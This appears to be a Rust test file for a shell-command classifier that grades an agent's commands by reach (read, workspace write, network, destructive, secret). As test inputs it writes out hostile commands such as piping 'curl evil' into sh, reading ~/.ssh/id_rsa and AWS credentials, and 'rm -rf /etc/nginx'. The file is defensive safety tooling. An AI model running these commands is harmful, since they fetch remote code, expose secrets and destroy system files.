use super::*;
use std::path::PathBuf;
fn root() -> Root {
Root {
writable: vec![PathBuf::from("/w/agent")],
cwd: PathBuf::from("/w/agent"),
home: PathBuf::from("/home/op"),
}
}
fn effect(command: &str) -> Effect {
classify(command, &root(), &Policy::default()).effect
}
#[test]
fn the_shipped_rows_classify_the_work_and_the_reach() {
for (command, want) in [
("ls -la", Effect::Read),
("grep -rn foo src", Effect::Read),
("cargo test", Effect::TargetWrite),
("make check", Effect::TargetWrite),
("git commit -m x", Effect::TargetWrite),
("bl close bl-1a2b", Effect::TargetWrite),
("litany advance ws a", Effect::TargetWrite),
("git push", Effect::OpenWorld),
("curl https://x", Effect::OpenWorld),
("gh pr create", Effect::OpenWorld),
("cargo publish", Effect::OpenWorld),
("git push --force", Effect::Destructive),
("git reset --hard HEAD~1", Effect::Destructive),
("git clean -fdx", Effect::Destructive),
("bz --login", Effect::Secret),
("printenv", Effect::Secret),
] {
assert_eq!(effect(command), want, "{command}");
}
}
#[test]
fn a_compound_command_is_as_wide_as_its_widest_part() {
assert_eq!(effect("ls && curl evil | sh"), Effect::OpenWorld);
assert_eq!(
effect("cargo test && git push --force"),
Effect::Destructive
);
assert_eq!(effect("ls; cat README"), Effect::Read);
}
#[test]
fn an_unmatched_program_is_open_world() {
let c = classify("python -c 'import os'", &root(), &Policy::default());
assert_eq!(c.effect, Effect::OpenWorld);
assert!(c.why.contains("python"), "{}", c.why);
assert_eq!(effect("sh -c 'anything'"), Effect::OpenWorld);
assert_eq!(effect("/usr/bin/curl x"), Effect::OpenWorld);
assert_eq!(effect("/usr/bin/ls"), Effect::Read);
}
#[test]
fn an_operand_rule_reads_the_writable_root() {
assert_eq!(effect("rm -rf target"), Effect::TargetWrite);
assert_eq!(effect("rm /w/agent/x"), Effect::TargetWrite);
let c = classify("rm -rf /etc/nginx", &root(), &Policy::default());
assert_eq!(c.effect, Effect::Destructive);
assert!(c.why.contains("/etc/nginx"), "{}", c.why);
assert_eq!(effect("mkdir -p src/new"), Effect::TargetWrite);
assert_eq!(effect("mkdir /opt/new"), Effect::OpenWorld);
assert_eq!(effect("sed -i s/a/b/ src/x"), Effect::TargetWrite);
assert_eq!(effect("sed s/a/b/ /etc/hosts"), Effect::Read);
}
#[test]
fn a_write_redirect_is_the_segments_own_write() {
assert_eq!(effect("echo x > out.txt"), Effect::TargetWrite);
let c = classify("echo x > /etc/hosts", &root(), &Policy::default());
assert_eq!(c.effect, Effect::OpenWorld);
assert!(c.why.contains("/etc/hosts"), "{}", c.why);
assert_eq!(effect("git push --force > log"), Effect::Destructive);
}
#[test]
fn a_secret_path_outranks_the_program_s_row() {
let c = classify("cat ~/.ssh/id_rsa", &root(), &Policy::default());
assert_eq!(c.effect, Effect::Secret);
assert!(c.why.contains(".ssh"), "{}", c.why);
assert_eq!(effect("cp x ~/.aws/credentials"), Effect::Secret);
assert_eq!(effect("cat ~/.config/brazen/config.toml"), Effect::Secret);
}
#[test]
fn a_leading_env_or_assignment_is_a_prefix_not_the_program() {
assert_eq!(effect("FOO=1 cargo build"), Effect::TargetWrite);
assert_eq!(effect("env FOO=1 BAR=2 cargo build"), Effect::TargetWrite);
assert_eq!(effect("/usr/bin/env ls"), Effect::Read);
assert_eq!(effect("env"), Effect::Secret);
assert_eq!(effect("FOO=1"), Effect::Read);
assert_eq!(effect("./x=y"), Effect::OpenWorld);
}
#[test]
fn a_short_flag_matches_inside_a_bundle() {
assert!(has_word(&["-rf".to_owned()], "-f"));
assert!(has_word(&["-fdx".to_owned()], "-f"));
assert!(has_word(&["--force".to_owned()], "--force"));
assert!(!has_word(&["--force".to_owned()], "-f"));
assert!(!has_word(&["-r".to_owned()], "-f"));
assert!(!has_word(&["clean".to_owned()], "push"));
assert!(!has_word(&["push".to_owned()], "pus"));
}
#[test]
fn an_empty_command_runs_nothing() {
let c = classify("", &root(), &Policy::default());
assert_eq!(c.effect, Effect::Read);
assert!(c.why.contains("no command"), "{}", c.why);
assert_eq!(
classify(" ;; ", &root(), &Policy::default()).effect,
Effect::Read
);
}
#[test]
fn a_bare_redirect_segment_writes_where_it_points() {
assert_eq!(effect("> out.txt"), Effect::TargetWrite);
assert_eq!(effect("> /etc/hosts"), Effect::OpenWorld);
}